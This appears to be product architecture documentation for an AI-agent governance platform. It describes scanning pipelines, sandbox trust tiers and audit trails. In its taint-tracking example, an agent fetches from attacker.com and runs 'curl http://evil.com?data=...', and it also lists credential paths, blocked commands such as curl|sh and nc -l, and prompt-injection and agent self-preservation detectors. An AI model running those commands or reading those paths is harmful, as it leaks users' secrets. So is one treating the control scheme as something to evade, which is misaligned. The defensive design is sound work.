Architecture
TapPass is a governance control plane for AI agents. It answers one question: “Can this agent do this thing, with this data, right now?”
Every building block exists to make that question answerable, with cryptographic proof.
Request Flow
Section titled “Request Flow” ┌──────────┐ ┌──────────────────────────────────────────┐ ┌──────────┐ │ │ │ TapPass Server │ │ │ │ Agent │───────▶│ │───────▶│ LLM │ │ (SDK) │ │ ┌────────┐ ┌──────────┐ ┌─────────┐ │ │ Provider │ │ │◀───────│ │ Input │─▶│ Pipeline │─▶│ Output │ │◀───────│ │ └──────────┘ │ │ Scan │ │ Execute │ │ Scan │ │ └──────────┘ │ └────────┘ └──────────┘ └─────────┘ │ Cursor │ │ │ │ │ OpenAI CrewAI │ ▼ ▼ ▼ │ Anthropic LangChain │ ┌────────────────────────────────────┐ │ Azure Custom │ │ OPA Policy │ Audit Trail │ KV │ │ Ollama │ └────────────────────────────────────┘ │ vLLM └──────────────────────────────────────────┘Input Scan: PII detection, prompt injection, data classification, exfiltration checks, taint labeling. Pipeline Execute: Permission check, capability token minting, LLM/tool call with governance. Output Scan: DLP, response classification, taint tracking, audit logging.
A block at any step returns HTTP 403 with the reason. The agent never reaches the LLM.
Six Domains
Section titled “Six Domains”TapPass has six domains. Every feature lives in exactly one.
┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ Pipeline │ │ Identity │ │ Policy │ │ │ │ │ │ │ │ Input scan │ │ SPIFFE IDs │ │ OPA/Rego │ │ Execution │ │ SSO/SAML │ │ Fail-closed │ │ Output scan │ │ Cap tokens │ │ Data class │ └──────────────┘ └──────────────┘ └──────────────┘ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ Audit │ │ Sandbox │ │ Assessment │ │ │ │ │ │ │ │ Hash chain │ │ Trust tiers │ │ Host scan │ │ SIEM export │ │ Kernel-lvl │ │ OWASP map │ │ Dashboards │ │ Forbidden │ │ Compliance │ └──────────────┘ └──────────────┘ └──────────────┘The six domains below are MECE. every feature in TapPass lives in exactly one.
1. Agents
Section titled “1. Agents”Everything about who the agent is, how healthy it is, and what it’s allowed to be.
1.1 Identity
Section titled “1.1 Identity”Problem: API keys leak, passwords rotate, service accounts get shared. You can’t govern what you can’t identify.
Solution: SPIFFE (Secure Production Identity Framework for Everyone). the identity standard used by Kubernetes and Istio. Agents get cryptographic certificates, not passwords.
spiffe:/tappass.internal/agent/acme/research-bot └── trust domain ──┘ └─ org ┘ └─ agent ──┘Authentication chain. four methods, tried in priority order:
┌──────────────────────────┬──────────────────┬──────────────┐ │ Method │ Who │ How │ ├──────────────────────────┼──────────────────┼──────────────┤ │ ① SPIFFE X509-SVID │ AI agents │ mTLS (1h) │ │ ② SPIFFE JWT-SVID │ AI agents │ Bearer (5m) │ │ ③ Session JWT │ Humans │ SSO/SAML │ │ ④ Admin API key │ Bootstrap only │ Bearer │ └──────────────────────────┴──────────────────┴──────────────┘ No match → 401RBAC. five roles with numeric levels:
super_admin (40) ── cross-org access, all operations org_admin (30) ── team management, pipeline config developer (20) ── agent registration, API access auditor (10) ── read-only: audit trail, compliance employee (0) ── dashboard, OAuth connections1.2 Health Score
Section titled “1.2 Health Score”Problem: “Is this agent healthy?” needs more than a binary pass/fail. CISOs need a single number that tracks trends across dimensions.
Solution: A 0–100 composite score across five weighted dimensions, computed on-read from the audit trail. No new instrumentation. pure aggregation over existing audit events.
┌───────────────────────────────────────────────────────────────┐ │ │ │ ╭────────╮ Dimensions & Weights │ │ ╱ 87 ╲ │ │ ╱ Grade B ╲ Compliance ████████░░ 30% │ │ │ Trend: ↑ │ Data Safety ███████░░░ 25% │ │ ╲ ╱ Security ██████░░░░ 20% │ │ ╲ ╱ Stability █████░░░░░ 15% │ │ ╰────────╯ Efficiency ███░░░░░░░ 10% │ │ │ └───────────────────────────────────────────────────────────────┘
Scoring philosophy: • Perfect agent → 95 (never 100. always room to improve) • Zero activity →. (not 100. absence ≠ health) • Log-scale penalties (a few incidents don't destroy the score) • Trend = current 30 days vs. previous 30 days| Dimension | What it measures | Scoring |
|---|---|---|
| Compliance (30%) | Pass rate (blocks / total calls) | 0% blocks → 95. Log-curve penalty. |
| Data Safety (25%) | PII exposure, secret leaks, output PII | Input PII mild. Output PII moderate. Secrets heavy. |
| Security (20%) | Injection, escalation, code exec attempts | Even 1 injection is notable. Sustained → heavy. |
| Stability (15%) | Classification entropy, escalation rate | Low entropy = predictable = good. |
| Efficiency (10%) | Cost per call, budget spikes | <$0.01/call → 95. >$0.20/call → below 65. |
Pact adherence: When an agent has a behavioral pact, stability is replaced with pact adherence: measuring “is the agent doing what it’s supposed to?” instead of just “is it consistent?“
1.3 Behavioral Pacts
Section titled “1.3 Behavioral Pacts”Problem: The pipeline says what’s allowed. But what’s intended? An agent allowed to handle RESTRICTED data might only be intended for INTERNAL.
Solution: A structured declaration of an agent’s purpose, stored alongside registration. Versioned. pact changes never retroactively penalize historical behavior.
Pact: "research-bot" ┌──────────────────────────────────────────────────────────┐ │ purpose: "Process customer support queries" │ │ classification: INTERNAL (not RESTRICTED) │ │ pii_exposure: incidental │ │ allowed_tools: [search, read_file, query_db] │ │ cost_envelope: $0.05/call, $50/day │ │ ai_act_risk_level: limited │ │ gdpr_basis: legitimate_interest │ └──────────────────────────────────────────────────────────┘
Pipeline says: "you MAY handle RESTRICTED data" Pact says: "you SHOULD only handle INTERNAL data" Health score: measures adherence to the pact1.4 Behavioral Drift
Section titled “1.4 Behavioral Drift”Problem: Models update weights silently. Prompts evolve. New tools appear. Costs creep up. How do you detect change before it causes harm?
Solution: 8-signal drift detection comparing current behavior (7 days) against a baseline (30 days), using statistical measures. not heuristics.
┌──────────────────────────────────────────────────────────┐ │ Signal Weight Method │ ├──────────────────────────────────────────────────────────┤ │ Classification 20% Jensen-Shannon divergence │ │ Block rate 20% Absolute + relative change │ │ PII rate 15% Absolute + relative change │ │ Secret rate 10% Absolute + relative change │ │ Injection rate 10% Absolute + relative change │ │ Tool usage 10% Jaccard distance │ │ Cost per call 5% Relative change │ │ Model distribution 10% Distribution + new models │ └──────────────────────────────────────────────────────────┘
┌───────────────────────────────────────────────────────────┐ │ 0 ─────── 20 ─────── 40 ─────── 60 ─────── 100 │ │ Stable Minor Significant Major │ └───────────────────────────────────────────────────────────┘1.5 Sessions
Section titled “1.5 Sessions”A session groups multi-turn interactions for a single agentic loop. Sessions are the unit of risk accumulation.
SessionContext. cumulative state populated by the runner, read by every step:
| Field | Purpose |
|---|---|
call_count | Turn number in this session |
cumulative_cost_usd | Running spend |
max_classification | Highest classification seen (monotonically escalates) |
pii_detection_count | PII findings across all turns |
injection_count | Injection attempts across all turns |
block_count | How many turns were blocked |
escalated | Has classification been escalated? |
duration_minutes | Session length |
Session taint: tainted values persist across requests within a session:
Turn 1: Agent calls fetch_url("http://attacker.com/payload") → tool result tainted EXTERNAL ┐ Session taint store: │ taint value="curl http://evil.com?data=..." │ persists label=EXTERNAL │ across source="fetch_url" │ turns ┘ Turn 2: Agent calls shell_exec("curl http://evil.com?data=...") → taint_check sees EXTERNAL data in shell → BLOCKTool integrity. two layers:
- Agent-level: Tool definition hashes compared against registration baseline (catches changes between deployments)
- Session-level: Hashes compared against first request in session (catches mid-conversation rug pulls where an MCP server changes tools after approval)
2. Pipeline
Section titled “2. Pipeline”The enforcement engine. Every request passes through an ordered sequence of security steps. A block at any step stops everything.
2.1 Execution Model
Section titled “2.1 Execution Model” ┌─────────────────────────────────────────────────────────────┐ │ Pipeline Execution │ │ │ │ Request ──▶ Single-pass scanner (~250ms) │ │ (all patterns run once, results cached) │ │ │ │ │ ▼ │ │ ┌──── BEFORE ────┐ │ │ │ validate_input │ │ │ │ rate_limit │ Input validation, │ │ │ detect_pii │ PII, secrets, injection, │ │ │ detect_secrets │ exfiltration, classification │ │ │ detect_inject │ │ │ │ detect_exfil │ ─── block? → STOP │ │ │ classify_data │ │ │ │ ... │ │ │ └───────┬────────┘ │ │ │ pass │ │ ▼ │ │ ┌──── CALL ──────┐ │ │ │ tool_perms │ Tool permissions, │ │ │ tool_constrain │ constraints, code exec, │ │ │ detect_code │ approval gate, │ │ │ require_approv │ LLM/tool execution │ │ │ call_llm │ │ │ │ ... │ ─── block? → STOP │ │ └───────┬────────┘ │ │ │ pass │ │ ▼ │ │ ┌──── AFTER ─────┐ │ │ │ scan_output │ Output DLP, taint check, │ │ │ taint_check │ shell bleed, cost tracking, │ │ │ shell_bleed │ dedup, pii restore │ │ │ cost_tracking │ │ │ │ ... │ ─── block? → STOP │ │ └───────┬────────┘ │ │ │ pass │ │ ▼ │ │ Capability Token minted │ │ Audit event written │ │ Response returned │ └─────────────────────────────────────────────────────────────┘Step anatomy. every step is a single class with one method:
@register("detect_pii", position=200)class DetectPII: name = "detect_pii" step_type = "deterministic"
async def execute(self, ctx: PipelineContext) -> StepResult: scan = ctx.findings.get("_input_scan", {}) # read from cache pii = scan.get("pii", []) if pii and self.config.on_detection == "block": return StepResult(step=self.name, action="block", detected=True, message="PII detected") return StepResult(step=self.name, action="continue")PipelineContext. the shared state for a pipeline run:
┌─────────────────────────────────────────────────────────┐ │ PipelineContext │ │ │ │ Identity pipeline_id, session_id, agent_id, │ │ org_id, user_id, mode (llm/tool) │ │ │ │ LLM Request messages, model, temperature, tools │ │ │ │ Tool Request resource, operation, params │ │ │ │ Findings step_name → detection data (dict) │ │ _input_scan (cached scanner results) │ │ _output_scan (cached output scan) │ │ │ │ Response LLM/tool response (set by call step) │ │ │ │ Step Results ordered list of StepResult │ │ │ │ Session Context cumulative session state │ │ │ │ Governance Flags parsed X-TapPass-Flags header │ └─────────────────────────────────────────────────────────┘2.2 Steps (44 registered)
Section titled “2.2 Steps (44 registered)”| # | Step | Pos | Phase | What it does |
|---|---|---|---|---|
| 1 | validate_input | 100 | before | Schema validation, message limits |
| 2 | rate_limit | 110 | before | Per-agent rate limiting |
| 3 | budget_enforcement | 120 | before | Per-call cost cap |
| 4 | session_budget | 130 | before | Per-session cost cap |
| 5 | verify_tool_governance | 140 | before | Verify tool governance headers |
| 6 | adaptive_thresholds | 150 | before | Adjust thresholds by session risk |
| 7 | detect_pii | 200 | before | PII detection (Presidio + regex) |
| 8 | inspect_images | 205 | before | OCR images for hidden text |
| 9 | detect_unicode | 207 | before | Unicode attacks (homoglyphs, RTL) |
| 10 | detect_secrets | 210 | before | API keys, passwords, tokens |
| 11 | detect_infra | 220 | before | Internal URLs, IPs, hostnames |
| 12 | detect_business | 230 | before | Business-sensitive data |
| 13 | detect_multimodal | 235 | before | Multimodal injection |
| 14 | pii_tokenize | 240 | before | Replace PII with tokens |
| 15 | detect_exfiltration | 355 | before | Paste sites, DNS tunneling, webhooks |
| 16 | detect_memory_poison | 360 | before | MEMORY.md writes, identity override |
| 17 | detect_insider_threat | 365 | before | Self-preservation, deception, session-aware |
| 18 | detect_injection | 400 | before | 5-category prompt injection |
| 19 | detect_escalation | 410 | before | 4-stage privilege escalation |
| 20 | detect_tool_poison | 420 | before | Malicious tool descriptions |
| 21 | classify_data | 500 | before | PUBLIC→INTERNAL→CONFIDENTIAL→RESTRICTED |
| 22 | session_escalation | 510 | before | Escalate session classification |
| 23 | filter_tools | 520 | before | Remove tools by classification |
| 24 | model_routing | 530 | before | Route to model by classification |
| 25 | content_safety | 540 | before | Toxicity, bias detection |
| 26 | tool_permissions | 600 | call | Allow/deny tool by agent |
| 27 | tool_constraints | 610 | call | Argument-level restrictions |
| 28 | user_tool_scopes | 615 | call | Per-user tool scoping |
| 29 | detect_code_exec | 620 | call | 31 dangerous shell patterns |
| 30 | scan_tool_calls | 625 | call | Path traversal, forbidden zones |
| 31 | require_approval | 640 | call | Human-in-the-loop approval gate |
| 32 | call_llm | 700 | call | Forward to LLM provider |
| 33 | call_tool | 700 | call | Execute governed tool |
| 34 | scan_tool_results | 710 | call | Scan tool return values |
| 35 | redact_tool_results | 715 | call | Redact tool result PII |
| 36 | scan_output | 800 | after | DLP on LLM response |
| 37 | taint_check | 810 | after | Block tainted data at sinks |
| 38 | shell_bleed | 820 | after | Detect PII leaking into shell |
| 39 | verify_artifact | 825 | after | Verify artifact integrity |
| 40 | constrain_output | 830 | after | Enforce output constraints |
| 41 | dedup_output | 835 | after | Deduplicate responses |
| 42 | pii_restore | 840 | after | Restore tokenized PII (partial) |
| 43 | cost_tracking | 900 | after | Record cost and tokens |
| 44 | loop_guard / session_loop_guard | 910 | after | Detect infinite loops |
2.3 Presets
Section titled “2.3 Presets” ┌─────────────────────────────────────────────────────────────────┐ │ │ │ Starter (~11) Standard (~37) Regulated (~43) │ │ ───────────── ──────────────── ────────────────── │ │ ✓ Validation ✓ Everything in ✓ Everything in │ │ ✓ Rate limit Starter Standard │ │ ✓ Basic PII ✓ Secrets ✓ LLM judge │ │ ✓ Injection ✓ Classification ✓ Content safety │ │ ✓ Output scan ✓ Tool permissions ✓ Approval gate │ │ ✓ Cost tracking ✓ Taint tracking ✓ Unicode attacks │ │ ✓ Exfiltration ✓ Full tool scan │ │ ✓ Memory poison ✓ Loop guard │ │ ✓ Insider threat ✓ Debug logging │ │ ✓ Shell bleed │ │ │ │ Use case: Use case: Use case: │ │ Dev, CI, internal Production, external Financial, health, │ │ low-risk agents facing agents EU AI Act high-risk │ │ │ │ Trust tier mapping: │ │ Observer/Worker Standard Standard (strict) │ └─────────────────────────────────────────────────────────────────┘2.4 Governance Modes
Section titled “2.4 Governance Modes”| Mode | Behavior | Use case |
|---|---|---|
observe | Log everything, block nothing | Week 1: see what TapPass catches |
warn | Detections logged, traffic flows | Shadow deployment, tuning thresholds |
enforce | Blocks are enforced (default) | Production |
lockdown | Any detection → immediate block | Incident response |
2.5 Governance Flags
Section titled “2.5 Governance Flags”One HTTP header that controls behavior without touching policy files:
X-TapPass-Flags: mode=observe, pii=mask, email=internal:company.com, budget=dev| Flag | Values | What it controls |
|---|---|---|
mode | observe · warn · enforce · lockdown | Overall posture |
pii | mask · block · flag · off | PII handling |
email | mirror:addr · internal:domain · block | Email restrictions |
budget | dev · standard · custom:X:Y | Cost caps |
tools | allowlist:... · denylist:... · block | Tool restrictions |
files | read_only · project · sandbox · block | File access |
secrets | redact · block · flag | Secret handling |
Resolution order: per-call flags > agent defaults > org policy > preset defaults.
3. Policy
Section titled “3. Policy”All policy decisions are externalized to OPA (Open Policy Agent): a CNCF-graduated engine running as a sidecar. TapPass enforces OPA’s decisions. TapPass itself has zero built-in policy logic.
3.1 OPA Architecture
Section titled “3.1 OPA Architecture” ┌───────────────────────────────────────────────────────────────┐ │ │ │ TapPass OPA Sidecar │ │ ┌─────────────┐ POST /v1/data ┌─────────────────┐ │ │ │ Pipeline │ ───────────────▶ │ authz.rego │ │ │ │ Builder │ │ pipeline.rego │ │ │ │ │ ◀─────────────── │ tools.rego │ │ │ │ Reads │ JSON decision │ routing.rego │ │ │ │ decision │ │ breakglass.rego│ │ │ │ & builds │ │ guardrails.rego│ │ │ │ steps │ │ │ │ │ └─────────────┘ │ data.json │ │ │ │ (presets, orgs)│ │ │ Fail-closed: └─────────────────┘ │ │ OPA unreachable → ALL requests denied │ │ │ └───────────────────────────────────────────────────────────────┘3.2 Policy Modules
Section titled “3.2 Policy Modules”| Module | Question it answers |
|---|---|
authz.rego | Can this identity access this endpoint? |
pipeline.rego | Which steps run? With what config? |
tools.rego | Which tools is this agent allowed to call? |
routing.rego | Which model for this classification level? |
breakglass.rego | Is this emergency override authorized? |
guardrails.rego | Block, redact, or notify on detection? |
3.3 Capability Tokens
Section titled “3.3 Capability Tokens”After the pipeline passes, TapPass mints an ES256-signed JWT: cryptographic proof that governance happened.
┌──────────────────────────────────────────────────────────────┐ │ Capability Token (ES256 signed JWT) │ │ │ │ Header │ │ iss: "tappass" ← issuer │ │ sub: "research-bot" ← agent identity │ │ jti: "abc123..." ← unique ID (replay protection) │ │ exp: +60s ← time-bounded │ │ │ │ Scope (what the agent CAN do) │ │ tools: ["search", "read"] ← allowed tool names │ │ ops: ["read"] ← allowed operations │ │ cstr: {read: {root: "/data"}} ← argument constraints │ │ cls: "INTERNAL" ← max data classification │ │ max_use: 2 ← usage limit per JTI │ │ │ │ Trust attestation (externally verifiable) │ │ health: 87.3 ← agent health score 0–100 │ │ compliance: "standard" ← pipeline preset in use │ │ checks: 37 ← pipeline steps passed │ │ │ │ Verification │ │ GET /.well-known/jwks.json → public key │ │ Verify signature in ~27μs (no TapPass call needed) │ └──────────────────────────────────────────────────────────────┘The token defines scope, not exact arguments. The agent reasons freely within these boundaries:
Token says: Agent is free to: tools: [salesforce_query] ← call this tool ops: [read] ← read only cstr: {query: {deny: ["DELETE"]}} ← no DELETE in SQL ↕ Choose the query Modify parameters Retry with different args3.4 Classification-Driven Overrides
Section titled “3.4 Classification-Driven Overrides”After classify_data determines the real classification, TapPass re-queries OPA. Classification overrides can retroactively escalate prior detections:
Before classify_data: After classify_data (RESTRICTED): ────────────────────── ────────────────────────────────── detect_pii → redact ──▶ RESTRICTED override → BLOCK detect_secrets → log ──▶ CONFIDENTIAL+ override → BLOCK3.5 Tool Constraints
Section titled “3.5 Tool Constraints”Three layers of tool governance, each progressively more granular:
Layer 1: PERMISSIONS. which tools can this agent use? ┌──────────────────────────────────────────────────────────┐ │ allow: [search, read_file, query_db] │ │ deny: [send_email, delete_user, exec_shell] │ └──────────────────────────────────────────────────────────┘
Layer 2: CONSTRAINTS. how can this tool be used? ┌──────────────────────────────────────────────────────────┐ │ read_file: │ │ path: {type: subpath, root: "/data"} │ │ send_email: │ │ to: {include: ["*@company.com"]} │ │ query_db: │ │ query: {deny_patterns: ["DELETE", "DROP", "UPDATE"]} │ └──────────────────────────────────────────────────────────┘
Layer 3: SCANNING. what does the argument contain? ┌──────────────────────────────────────────────────────────┐ │ ✗ Path traversal (../../etc/passwd) │ │ ✗ Forbidden zones (74 protected paths) │ │ ✗ Unicode bypass (null bytes, Cyrillic confusables) │ │ ✗ Shell injection in arguments │ │ ✗ Dangerous commands (31 patterns) │ └──────────────────────────────────────────────────────────┘4. Sandbox
Section titled “4. Sandbox”Host-level isolation that controls what agents can do on the operating system, independent of the pipeline.
4.1 Trust Tiers
Section titled “4.1 Trust Tiers”Four tiers of progressive permissions. Agents start minimal and earn access.
┌─────────────┬─────────────┬─────────────┬─────────────┐ │ Observer │ Worker │ Standard │ Full │ ├─────────────┼─────────────┼─────────────┼─────────────┤ │ Read: │ Read: │ Read: │ Read: │ │ workspace │ workspace │ system │ everything │ ├─────────────┼─────────────┼─────────────┼─────────────┤ │ Write: │ Write: │ Write: │ Write: │ │ none │ workspace │ workspace │ everything │ ├─────────────┼─────────────┼─────────────┼─────────────┤ │ Shell: │ Shell: │ Shell: │ Shell: │ │ none │ safe only │ standard │ everything │ │ │ (ls, cat, │ (no sudo, │ (logged) │ │ │ git) │ no rm -rf)│ │ ├─────────────┼─────────────┼─────────────┼─────────────┤ │ Network: │ Network: │ Network: │ Network: │ │ none │ fetch only │ full │ full │ │ │ (no POST) │ │ │ └─────────────┴─────────────┴─────────────┴─────────────┘Auto-escalation. earned trust:
| From → To | Min Score | Clean Calls | Max Violations |
|---|---|---|---|
| Observer → Worker | 300 | 50 | 0 |
| Worker → Standard | 500 | 200 | ≤ 2 |
| Standard → Full | 800 | 1,000 | 0 |
4.2 Forbidden Zones (74 paths)
Section titled “4.2 Forbidden Zones (74 paths)”Protected paths that agents must never access, regardless of trust tier (Full tier: logged, not blocked).
┌───────────────────────────────────────────────────────────┐ │ Category Count Examples │ ├───────────────────────────────────────────────────────────┤ │ Credentials 22 ~/.ssh/*, ~/.gnupg/*, .env │ │ Cloud 20 ~/.aws/*, ~/.azure/*, .kube/ │ │ Browser 12 Chrome Login Data, Firefox logins │ │ Crypto 8 Metamask vaults, Bitcoin wallets │ │ System 5 /etc/shadow, /etc/sudoers │ │ CI/CD 4 .github/secrets, .circleci/ │ │ Password Mgr 3 1Password, Bitwarden, KeePass │ └───────────────────────────────────────────────────────────┘
Unicode bypass protection on all 74 zones: • Null bytes stripped (path%00.txt) • Zero-width chars removed (U+200B, U+FEFF) • Cyrillic confusables mapped (30 chars: а→a, е→e, о→o)4.3 Dangerous Commands (28 patterns)
Section titled “4.3 Dangerous Commands (28 patterns)” ┌───────────────────────────────────────────────────────────┐ │ Category Examples Blocked by tier │ ├───────────────────────────────────────────────────────────┤ │ Destructive rm -rf, mkfs, dd, shred All except Full │ │ Escalation sudo, chmod +s, passwd All except Full │ │ Network nc -l, ngrok, curl|sh Observer, Worker │ │ Persistence crontab, systemctl, .rc Observer, Worker │ │ Exfiltration curl -d, scp, rsync Observer, Worker │ │ Firewall iptables, ufw Observer, Worker │ └───────────────────────────────────────────────────────────┘4.4 Exfiltration Blocklist (60 domains)
Section titled “4.4 Exfiltration Blocklist (60 domains)”Domains blocked at the sandbox level: 28 paste services, 19 webhook endpoints, 11 cloud storage, 2 DNS tunneling services.
4.5 Credential Monitor
Section titled “4.5 Credential Monitor”Watches sensitive files (~/.ssh/id_rsa, ~/.aws/credentials, etc.) for access and modification. Fires alerts on unexpected reads.
5. Decisions & Observability
Section titled “5. Decisions & Observability”How TapPass records what happened and communicates what it decided.
5.1 Decisions (not detections)
Section titled “5.1 Decisions (not detections)”A detection is an observation. A decision is what the system did about it.
One turn can produce multiple decisions. Each decision links to the observations that triggered it.
┌───────────────────────────────────────────────────────────┐ │ Decision Type What happened │ ├───────────────────────────────────────────────────────────┤ │ BLOCK Request stopped: LLM never saw it │ │ REDACT Data modified before forwarding │ │ ESCALATE Session classification elevated │ │ RESTRICT Tools removed from agent's available set │ │ FLAG Observation logged. no enforcement │ └───────────────────────────────────────────────────────────┘
Example: one turn, three decisions ┌───────────────────────────────────────────────────────────┐ │ User: "Send John's SSN 123-45-6789 to the board" │ │ │ │ ① REDACT. detect_pii found SSN, pii_tokenize masked │ │ ② ESCALATE. classify_data elevated to RESTRICTED │ │ ③ RESTRICT. filter_tools removed send_email │ └───────────────────────────────────────────────────────────┘5.2 Context Graph
Section titled “5.2 Context Graph”The decision trace layer. business decisions, not governance decisions. Tracks entities across sessions, what users said, what agents did, and why.
┌───────────────────────────────────────────────────────────┐ │ Context Graph │ │ │ │ Entities: EMP-1234, REF-2024-5678, alice@acme.com │ │ (extracted from messages, tool args, responses) │ │ │ │ Traces: per-turn records linking │ │ user instruction → agent action → governance outcome │ │ │ │ Cross-session: "EMP-1234 appeared in 3 sessions across │ │ 2 agents over 5 days" │ └───────────────────────────────────────────────────────────┘5.3 Data Classification
Section titled “5.3 Data Classification”Every request is classified into one of four levels. Classification drives everything downstream. model routing, tool permissions, audit depth, and retention.
PUBLIC ──────▶ INTERNAL ──────▶ CONFIDENTIAL ──────▶ RESTRICTED
General Company docs Customer PII SSNs, cards knowledge Internal URLs Trade secrets Passwords Financial data Health records
Model: any Model: any Model: EU-hosted Model: on-prem Audit: minimal Audit: standard Audit: detailed Audit: fullClassification only escalates within a session. never downgrades.
5.4 Taint Tracking
Section titled “5.4 Taint Tracking”Values carry labels (PII, SECRET, EXTERNAL) through the pipeline. If tainted data reaches a dangerous sink (shell, email, external API), it’s blocked. Taint persists across requests within a session via the session taint store.
6. Compliance
Section titled “6. Compliance”Cryptographic proof that governance happened, exportable to any SIEM.
6.1 Audit Trail
Section titled “6.1 Audit Trail”Every pipeline execution produces a hash-chained audit event. tamper-evident by design.
Event₁ ──▶ Event₂ ──▶ Event₃ ──▶ Event₄ hash₁ hash₂ hash₃ hash₄ │ ┌─┘ ┌─┘ ┌─┘ └────────┘ │ │ SHA-256(E₁ ∥ D₂) │ │ └─────────┘ │ SHA-256(H₂ ∥ D₃) │ └─────────┘ SHA-256(H₃ ∥ D₄)
Verification: GET /audit/verify Recomputes chain from genesis, reports any broken link.| Event type | Trigger |
|---|---|
llm_call | Every governed LLM call |
llm_call_blocked | Pipeline blocks a request |
tool_executed | Agent calls a tool |
agent_registered | New agent registered |
pipeline_created | Pipeline config changed |
policy_changed | OPA policy updated |
6.2 SIEM Export
Section titled “6.2 SIEM Export”Real-time export via HMAC-signed webhooks:
| Format | Target |
|---|---|
| CEF | Splunk, QRadar |
| OCSF | Amazon Security Lake |
| JSON | Generic (HMAC-signed) |
6.3 Observability
Section titled “6.3 Observability”| Instrument | Type | What it measures |
|---|---|---|
tappass_http_requests_total | Counter | Requests by method, path, status |
tappass_pipeline_blocks_total | Counter | Pipeline blocks by step |
tappass_pii_detections_total | Counter | PII detections by type |
tappass_capability_tokens_total | Counter | Tokens minted/denied/expired |
tappass_active_agents | Gauge | Active agents |
tappass_pipeline_duration_seconds | Histogram | Pipeline latency |
Traces follow GenAI semantic conventions (OpenTelemetry): every span includes model, tokens, classification.
6.4 Guardrail Packs
Section titled “6.4 Guardrail Packs”Pre-built policy bundles for regulated industries:
| Pack | Steps enabled | What it adds |
|---|---|---|
financial_services | 43 | PCI DSS patterns, transaction limits |
financial_credentials | 43 | SWIFT, IBAN, card detection |
healthcare | 43 | HIPAA PHI patterns, HL7 data |
eu_ai_act_high_risk | 43 | Article 14 transparency, risk logging |
hr_employment | 43 | Salary, performance review detection |
nis2 | 43 | NIS2 incident reporting, supply chain |
6.5 Assessment
Section titled “6.5 Assessment”tappass assess audits your host in one command and generates a CISO-ready report:
- Code exposure: Git repos, API keys in env vars
- MCP tools. Tool discovery, governance gaps
- Agent memory. MEMORY.md files scanned for poisoning
- Forbidden zones. 17 critical paths checked for agent access
- OWASP compliance. ASI01–ASI10 gap analysis
- Risk score. 0–100 across 5 dimensions (host, compliance, data, tools, identity)
How It All Connects
Section titled “How It All Connects” ┌──────────────────────────────────────────────────────────────┐ │ Request Lifecycle │ │ │ │ ① IDENTITY │ │ SPIFFE / SSO → who is this agent? │ │ RBAC → what role does it have? │ │ │ │ │ ② POLICY ▼ │ │ OPA query → what pipeline config? │ │ Presets → which steps, what thresholds? │ │ │ │ │ ③ PIPELINE ▼ │ │ 49 steps in 3 phases │ │ Single-pass scanner → detect → classify → execute │ │ Session context → accumulate risk across turns │ │ Taint tracking → label and trace sensitive data │ │ │ │ │ ④ SANDBOX ▼ │ │ Trust tier → what can the host do? │ │ Forbidden zones → block protected paths │ │ Dangerous commands → block/warn by tier │ │ │ │ │ ⑤ DECISIONS ▼ │ │ Block / Redact / Escalate / Restrict / Flag │ │ Context graph → entities, instructions, actions │ │ │ │ │ ⑥ COMPLIANCE ▼ │ │ Capability token → cryptographic proof (ES256, 60s) │ │ Audit event → hash-chained (SHA-256) │ │ SIEM export → CEF / OCSF / JSON │ │ Health score → feed back into tokens (trust attestation)│ │ Drift detection → alert on behavioral change │ └──────────────────────────────────────────────────────────────┘Summary
Section titled “Summary”| Domain | Building Blocks | Key Numbers |
|---|---|---|
| Agents | Identity, Health Score, Pacts, Drift, Sessions | 4 auth methods, 5 dimensions, 8 drift signals |
| Pipeline | 44 Steps, Presets, Modes, Flags | 3 phases, 3 presets, 4 modes, 7 flags |
| Policy | OPA/Rego, Tokens, Classification, Tool Constraints | 6 Rego modules, ES256 tokens, 74 forbidden zones |
| Sandbox | Trust Tiers, Commands, Exfil Blocklist, Credential Monitor | 4 tiers, 28 commands, 60 blocked domains |
| Decisions | Block/Redact/Escalate/Restrict/Flag, Context Graph, Taint | 5 decision types, 13 entity patterns |
| Compliance | Audit Trail, SIEM, Observability, Guardrail Packs, Assessment | SHA-256 chain, 3 SIEM formats, 6 packs |